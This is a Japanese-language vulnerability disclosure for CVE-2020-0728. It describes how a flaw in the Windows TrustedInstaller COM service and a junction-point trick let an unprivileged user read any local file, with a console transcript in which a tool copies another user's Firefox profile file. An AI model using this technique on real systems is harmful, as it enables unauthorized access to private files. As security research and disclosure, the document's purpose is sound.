
CVE-2020-0728 の概念実証エクスプロイト。Windows TrustedInstaller COM サービスの悪用によるローカル権限昇格を実証し、ファイルシステム DAC をバイパスして任意のファイルを読み取ります。
TrustedInstaller.exe サービスは NT_AUTHORITY\SYSTEM として実行され、Sxs Store クラス (3C6859CE-230B-48A4-BE6C-932C0C202048) COM サービスとインターフェース ISxsStore をホストしています。
このサービスのアクセス許可 (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) は、ローカルシステム上の任意のユーザーにアクセスを許可します。
ISxsStore インターフェースは 4 つのメソッドを公開しています。
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
呼び出されると、実装は TiWorker.exe (これも NT_AUTHORITY\SYSTEM として実行) がホストする ICbsWorker インターフェースに問い合わせて ICbsSession8 セッションを取得し、実際にこのインターフェース上で同じメソッドを呼び出します。
実際のロジックは sxsstore.dll ライブラリに実装されており、認証は CSxsStore::BeginAssemblyInstall にあります。
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
これは CoImpersonateClient + CheckTokenMembership 呼び出しを使用して行われます。
問題は、TiWorker.exe プロセスがホストするセッションが TrustedInstaller.exe ラッパーを介して呼び出された場合、実装された認証ロジックは常に NT_AUTHORITY\SYSTEM からの接続を受けるため、すべてのユーザーにアクセスを許可してしまうことです。
インストールを要求されたアセンブリは、wcp.dll (Windows::COM::CComponentStore::InternalTransact) に存在する実装によって C:\Windows\WinSXS の下に配置され、この正規の保存先ディレクトリから脱出するためのこれらのメソッド呼び出しを保護するための十分なセキュリティ対策が施されているように見えますが、マニフェストで参照されているソースファイルはジャンクションポイントを介して悪用される可能性があります。
これを悪用すると、以下に示すようにファイルシステム DAC をバイパスし、ローカルファイルシステム上の任意のファイルを読み取ることができます。
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
wcp フレームワークは実際には非常に複雑で、さまざまな「インストーラ」(例えば「高度な」ものの中には GenericCommand 実行など)を備えていますが、上記でアクセス可能なインターフェースは「プリミティブなインストーラ」に限定されているようです。CRegistryInstaller::CommitChanges を実行して C:\Windows\Logs\CBS\CBS.log に次のような行を出力することはできました。
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
しかし、実際にはレジストリ内の何かを変更するために API メソッドを呼び出すことはありませんでした。
上記の報告と PoC コードは Imre Rad によって提出されましたが、NCC の研究者によっても(実際には数ヶ月前に)特定されていました。
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728